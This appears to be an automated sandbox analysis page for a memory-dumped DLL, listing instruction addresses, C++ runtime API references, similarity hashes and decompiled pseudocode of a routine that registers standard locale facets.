0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1

APIs

__EH_prolog3.LIBCMT ref: 6DD1F6BA
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F6C4
int.LIBCPMT ref: 6DD1F6DB

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F6FE
std::_Facet_Register.LIBCPMT ref: 6DD1F715
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F735
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F753

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: d24677bcca33131a40e966085e4dad379b2f0eb43b6be05a81dd8d0c8240c7ad
Instruction ID: cd9be17b8f35089a69ee2cecffa6ef96c1c02eb6ea525222d20fb96193e438d6
Opcode Fuzzy Hash: d24677bcca33131a40e966085e4dad379b2f0eb43b6be05a81dd8d0c8240c7ad
Instruction Fuzzy Hash: B6119E7690852D9BCF01FBA4DC50AEDB774EF85324F264109F610AB290DB759906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F60D, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F60D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t167;
				signed int _t168;
				void* _t180;
				void* _t193;
				void* _t206;
				void* _t219;
				void* _t232;
				void* _t245;
				void* _t258;
				void* _t271;
				void* _t284;
				void* _t297;
				signed int _t435;
				signed int _t472;
				signed int _t473;
				signed int _t474;
				signed int _t475;
				signed int _t476;
				signed int _t477;
				signed int _t478;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				signed int _t494;
				void* _t506;

				_t469 = __edx;
				_t358 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t506 - 0x14, 0);
				_t483 =  *0x6ddd6df4; // 0x0
				 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
				 *(_t506 - 0x10) = _t483;
				_t167 = E6DCF161C(0x6ddd6da0);
				_t361 =  *((intOrPtr*)(_t506 + 8));
				_t168 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t167);
				_t471 = _t168;
				if(_t168 != 0) {
					L5:
					E6DD166BA(_t506 - 0x14);
					return E6DD30075(_t471);
				} else {
					if(_t483 == 0) {
						_push( *((intOrPtr*)(_t506 + 8)));
						_push(_t506 - 0x10);
						__eflags = E6DD211AB(__ebx, _t361, __edx, _t471, _t483) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t506 - 0x20);
							E6DD33D74(_t506 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t471, _t483, 0x14);
							E6DD16653(_t506 - 0x14, 0);
							_t484 =  *0x6ddd6dc8; // 0x0
							 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
							 *(_t506 - 0x10) = _t484;
							_t180 = E6DCF161C(0x6ddd6d7c);
							_t368 =  *((intOrPtr*)(_t506 + 8));
							_t472 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t180);
							__eflags = _t472;
							if(_t472 != 0) {
								L12:
								E6DD166BA(_t506 - 0x14);
								return E6DD30075(_t472);
							} else {
								__eflags = _t484;
								if(_t484 == 0) {
									_push( *((intOrPtr*)(_t506 + 8)));
									_push(_t506 - 0x10);
									__eflags = E6DD21230(_t358, _t368, __edx, _t472, _t484) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t506 - 0x20);
										E6DD33D74(_t506 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t358, _t472, _t484, 0x14);
										E6DD16653(_t506 - 0x14, 0);
										_t485 =  *0x6ddd6dc4; // 0x0
										 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
										 *(_t506 - 0x10) = _t485;
										_t193 = E6DCF161C(0x6ddd6d78);
										_t375 =  *((intOrPtr*)(_t506 + 8));
										_t473 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t193);
										__eflags = _t473;
										if(_t473 != 0) {
											L19:
											E6DD166BA(_t506 - 0x14);
											return E6DD30075(_t473);
										} else {
											__eflags = _t485;
											if(_t485 == 0) {
												_push( *((intOrPtr*)(_t506 + 8)));
												_push(_t506 - 0x10);
												__eflags = E6DD212B4(_t358, _t375, __edx, _t473, _t485) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t506 - 0x20);
													E6DD33D74(_t506 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t358, _t473, _t485, 0x14);
													E6DD16653(_t506 - 0x14, 0);
													_t486 =  *0x6ddd6dd8; // 0x0
													 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
													 *(_t506 - 0x10) = _t486;
													_t206 = E6DCF161C(0x6ddd6d84);
													_t382 =  *((intOrPtr*)(_t506 + 8));
													_t474 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t206);
													__eflags = _t474;
													if(_t474 != 0) {
														L26:
														E6DD166BA(_t506 - 0x14);
														return E6DD30075(_t474);
													} else {
														__eflags = _t486;
														if(_t486 == 0) {
															_push( *((intOrPtr*)(_t506 + 8)));
															_push(_t506 - 0x10);
															__eflags = E6DD21339(_t358, _t382, _t469, _t474, _t486) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t506 - 0x20);
																E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t358, _t474, _t486, 0x14);
																E6DD16653(_t506 - 0x14, 0);
																_t487 =  *0x6ddd6db0; // 0x0
																 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																 *(_t506 - 0x10) = _t487;
																_t219 = E6DCF161C(0x6ddd6d64);
																_t389 =  *((intOrPtr*)(_t506 + 8));
																_t475 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t219);
																__eflags = _t475;
																if(_t475 != 0) {
																	L33:
																	E6DD166BA(_t506 - 0x14);
																	return E6DD30075(_t475);
																} else {
																	__eflags = _t487;
																	if(_t487 == 0) {
																		_push( *((intOrPtr*)(_t506 + 8)));
																		_push(_t506 - 0x10);
																		__eflags = E6DD213A1(_t358, _t389, _t469, _t475, _t487) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t506 - 0x20);
																			E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t358, _t475, _t487, 0x14);
																			E6DD16653(_t506 - 0x14, 0);
																			_t488 =  *0x6ddd6ddc; // 0x0
																			 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																			 *(_t506 - 0x10) = _t488;
																			_t232 = E6DCF161C(0x6ddd6d88);
																			_t396 =  *((intOrPtr*)(_t506 + 8));
																			_t476 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t232);
																			__eflags = _t476;
																			if(_t476 != 0) {
																				L40:
																				E6DD166BA(_t506 - 0x14);
																				return E6DD30075(_t476);
																			} else {
																				__eflags = _t488;
																				if(_t488 == 0) {
																					_push( *((intOrPtr*)(_t506 + 8)));
																					_push(_t506 - 0x10);
																					__eflags = E6DD21409(_t358, _t396, _t469, _t476, _t488) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t506 - 0x20);
																						E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t358, _t476, _t488, 0x14);
																						E6DD16653(_t506 - 0x14, 0);
																						_t489 =  *0x6ddd6de0; // 0x0
																						 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																						 *(_t506 - 0x10) = _t489;
																						_t245 = E6DCF161C(0x6ddd6d8c);
																						_t403 =  *((intOrPtr*)(_t506 + 8));
																						_t477 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t245);
																						__eflags = _t477;
																						if(_t477 != 0) {
																							L47:
																							E6DD166BA(_t506 - 0x14);
																							return E6DD30075(_t477);
																						} else {
																							__eflags = _t489;
																							if(_t489 == 0) {
																								_push( *((intOrPtr*)(_t506 + 8)));
																								_push(_t506 - 0x10);
																								__eflags = E6DD21471(_t358, _t403, _t469, _t477, _t489) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t506 - 0x20);
																									E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t358, _t477, _t489, 0x14);
																									E6DD16653(_t506 - 0x14, 0);
																									_t490 =  *0x6ddd6dfc; // 0x0
																									 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																									 *(_t506 - 0x10) = _t490;
																									_t258 = E6DCF161C(0x6ddd6da8);
																									_t410 =  *((intOrPtr*)(_t506 + 8));
																									_t478 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t258);
																									__eflags = _t478;
																									if(_t478 != 0) {
																										L54:
																										E6DD166BA(_t506 - 0x14);
																										return E6DD30075(_t478);
																									} else {
																										__eflags = _t490;
																										if(_t490 == 0) {
																											_push( *((intOrPtr*)(_t506 + 8)));
																											_push(_t506 - 0x10);
																											__eflags = E6DD214EC(_t358, _t410, _t469, _t478, _t490) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t506 - 0x20);
																												E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t358, _t478, _t490, 0x14);
																												E6DD16653(_t506 - 0x14, 0);
																												_t491 =  *0x6ddd6dcc; // 0x0
																												 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																												 *(_t506 - 0x10) = _t491;
																												_t271 = E6DCF161C(0x6ddd6d80);
																												_t417 =  *((intOrPtr*)(_t506 + 8));
																												_t479 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t271);
																												__eflags = _t479;
																												if(_t479 != 0) {
																													L61:
																													E6DD166BA(_t506 - 0x14);
																													return E6DD30075(_t479);
																												} else {
																													__eflags = _t491;
																													if(_t491 == 0) {
																														_push( *((intOrPtr*)(_t506 + 8)));
																														_push(_t506 - 0x10);
																														__eflags = E6DD21558(_t358, _t417, _t469, _t479, _t491) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t506 - 0x20);
																															E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t358, _t479, _t491, 0x14);
																															E6DD16653(_t506 - 0x14, 0);
																															_t492 =  *0x6ddd6e00; // 0x0
																															 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																															 *(_t506 - 0x10) = _t492;
																															_t284 = E6DCF161C(0x6ddd6dac);
																															_t424 =  *((intOrPtr*)(_t506 + 8));
																															_t480 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t284);
																															__eflags = _t480;
																															if(_t480 != 0) {
																																L68:
																																E6DD166BA(_t506 - 0x14);
																																return E6DD30075(_t480);
																															} else {
																																__eflags = _t492;
																																if(_t492 == 0) {
																																	_push( *((intOrPtr*)(_t506 + 8)));
																																	_push(_t506 - 0x10);
																																	__eflags = E6DD215C4(_t358, _t424, _t469, _t480, _t492) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t506 - 0x20);
																																		E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t358, _t480, _t492, 0x14);
																																		E6DD16653(_t506 - 0x14, 0);
																																		_t493 =  *0x6ddd6dd0; // 0x0
																																		 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																																		 *(_t506 - 0x10) = _t493;
																																		_t297 = E6DCF161C(0x6ddd6d60);
																																		_t431 =  *((intOrPtr*)(_t506 + 8));
																																		_t481 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t297);
																																		__eflags = _t481;
																																		if(_t481 != 0) {
																																			L75:
																																			E6DD166BA(_t506 - 0x14);
																																			return E6DD30075(_t481);
																																		} else {
																																			__eflags = _t493;
																																			if(_t493 == 0) {
																																				_push( *((intOrPtr*)(_t506 + 8)));
																																				_push(_t506 - 0x10);
																																				__eflags = E6DD2162A(_t358, _t431, _t469, _t481, _t493) - 0xffffffff;
																																				if(__eflags == 0) {
																																					_t435 = _t506 - 0x20;
																																					E6DCF1438(_t435);
																																					E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd7851f, _t358, _t481, _t493, 4);
																																					_t494 = _t435;
																																					 *(_t506 - 0x10) = _t494;
																																					 *((intOrPtr*)(_t494 + 4)) =  *((intOrPtr*)(_t506 + 0xc));
																																					_push( *((intOrPtr*)(_t506 + 0x14)));
																																					_t161 = _t506 - 4;
																																					 *_t161 =  *(_t506 - 4) & 0x00000000;
																																					__eflags =  *_t161;
																																					 *_t494 = 0x6dd7c0c4;
																																					 *((char*)(_t494 + 0x28)) =  *((intOrPtr*)(_t506 + 0x10));
																																					E6DD2542F(_t358, _t435, _t469, _t481, _t494,  *_t161);
																																					return E6DD30075(_t494,  *((intOrPtr*)(_t506 + 8)));
																																				} else {
																																					_t481 =  *(_t506 - 0x10);
																																					 *(_t506 - 0x10) = _t481;
																																					 *(_t506 - 4) = 1;
																																					E6DD16FD3(__eflags, _t481);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t481 + 4))))();
																																					 *0x6ddd6dd0 = _t481;
																																					goto L75;
																																				}
																																			} else {
																																				_t481 = _t493;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t480 =  *(_t506 - 0x10);
																																		 *(_t506 - 0x10) = _t480;
																																		 *(_t506 - 4) = 1;
																																		E6DD16FD3(__eflags, _t480);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t480 + 4))))();
																																		 *0x6ddd6e00 = _t480;
																																		goto L68;
																																	}
																																} else {
																																	_t480 = _t492;
																																	goto L68;
																																}
																															}
																														} else {
																															_t479 =  *(_t506 - 0x10);
																															 *(_t506 - 0x10) = _t479;
																															 *(_t506 - 4) = 1;
																															E6DD16FD3(__eflags, _t479);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t479 + 4))))();
																															 *0x6ddd6dcc = _t479;
																															goto L61;
																														}
																													} else {
																														_t479 = _t491;
																														goto L61;
																													}
																												}
																											} else {
																												_t478 =  *(_t506 - 0x10);
																												 *(_t506 - 0x10) = _t478;
																												 *(_t506 - 4) = 1;
																												E6DD16FD3(__eflags, _t478);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t478 + 4))))();
																												 *0x6ddd6dfc = _t478;
																												goto L54;
																											}
																										} else {
																											_t478 = _t490;
																											goto L54;
																										}
																									}
																								} else {
																									_t477 =  *(_t506 - 0x10);
																									 *(_t506 - 0x10) = _t477;
																									 *(_t506 - 4) = 1;
																									E6DD16FD3(__eflags, _t477);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t477 + 4))))();
																									 *0x6ddd6de0 = _t477;
																									goto L47;
																								}
																							} else {
																								_t477 = _t489;
																								goto L47;
																							}
																						}
																					} else {
																						_t476 =  *(_t506 - 0x10);
																						 *(_t506 - 0x10) = _t476;
																						 *(_t506 - 4) = 1;
																						E6DD16FD3(__eflags, _t476);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t476 + 4))))();
																						 *0x6ddd6ddc = _t476;
																						goto L40;
																					}
																				} else {
																					_t476 = _t488;
																					goto L40;
																				}
																			}
																		} else {
																			_t475 =  *(_t506 - 0x10);
																			 *(_t506 - 0x10) = _t475;
																			 *(_t506 - 4) = 1;
																			E6DD16FD3(__eflags, _t475);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t475 + 4))))();
																			 *0x6ddd6db0 = _t475;
																			goto L33;
																		}
																	} else {
																		_t475 = _t487;
																		goto L33;
																	}
																}
															} else {
																_t474 =  *(_t506 - 0x10);
																 *(_t506 - 0x10) = _t474;
																 *(_t506 - 4) = 1;
																E6DD16FD3(__eflags, _t474);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t474 + 4))))();
																 *0x6ddd6dd8 = _t474;
																goto L26;
															}
														} else {
															_t474 = _t486;
															goto L26;
														}
													}
												} else {
													_t473 =  *(_t506 - 0x10);
													 *(_t506 - 0x10) = _t473;
													 *(_t506 - 4) = 1;
													E6DD16FD3(__eflags, _t473);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t473 + 4))))();
													 *0x6ddd6dc4 = _t473;
													goto L19;
												}
											} else {
												_t473 = _t485;
												goto L19;
											}
										}
									} else {
										_t472 =  *(_t506 - 0x10);
										 *(_t506 - 0x10) = _t472;
										 *(_t506 - 4) = 1;
										E6DD16FD3(__eflags, _t472);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t472 + 4))))();
										 *0x6ddd6dc8 = _t472;
										goto L12;
									}
								} else {
									_t472 = _t484;
									goto L12;
								}
							}
						} else {
							_t471 =  *(_t506 - 0x10);
							 *(_t506 - 0x10) = _t471;
							 *(_t506 - 4) = 1;
							E6DD16FD3(__eflags, _t471);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 4))))();
							 *0x6ddd6df4 = _t471;
							goto L5;
						}
					} else {
						_t471 = _t483;
						goto L5;
					}
				}
			}

0x6dd1f60d
0x6dd1f60d
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f63e
0x6dd1f643
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
